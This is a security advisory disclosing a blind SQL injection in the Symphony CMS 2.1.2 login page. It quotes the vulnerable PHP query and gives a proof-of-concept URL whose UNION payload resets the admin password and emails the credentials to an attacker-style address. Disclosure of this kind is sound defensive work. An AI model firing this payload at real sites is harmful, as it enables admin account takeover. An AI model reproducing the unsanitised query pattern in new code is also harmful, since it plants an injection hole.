Symphony-cms blind sql injection

Symphony is a web-based content management system (CMS) that enables users to create and manage websites and web applications of all shapes and sizes?from the simplest of blogs to bustling news sites and feature-packed social networks. [ Taken from: http://symphony-cms.com/ ]

Vulnerability description

The symphony cms login page does not sufficiently filter user supplied variables used in a SQL statement, resulting in a blind sql injection vulnerability. The vulnerable code is located at:

content.login.php-270-$sql = "SELECT t1.`id`, t1.`email`, t1.`first_name`
            content.login.php-271-            FROM `tbl_authors` as t1, `tbl_forgotpass` as t2
            content.login.php:272:                WHERE t2.`token` = '".$_REQUEST['token']."' AND t1.`id` = t2.`author_id`
            content.login.php-273-                LIMIT 1";
            content.login.php-274-
            content.login.php-275-$author = Symphony::Database()->fetchRow(0, $sql);

Discovered by: Eldar “Wireghoul” Marcussen
Vendor: Symphony-cms
Affected versions: 2.1.2 and possibly older versions

Proof of Concept

The following example will reset the password of the admin user which was created during installation (id 1) and send an email to ‘evil@email.com’ with the username and new password. http://example.com/symphony/login/?action=resetpass&token=-1'+union+select+id,'evil@email.com',username+from+tbl_authors+where+id+=1+--+

We are aided by the following code:

lib/toolkit/class.mysql.php:251:if($this->_connection['tbl_prefix'] != 'tbl_'){
            lib/toolkit/class.mysql.php:252:    $query = preg_replace('/tbl_(\S+?)([\s\.,]|$)/', $this->_connection['tbl_prefix'].'\\1\\2', $query);

Which turn our tbl_authors into the appropriate prefixed table name. This essentially negates the use of custom prefix for tables.

Solution

Upgrade to version 2.2

Disclosure time line

24-Apr-2011 - Public disclosure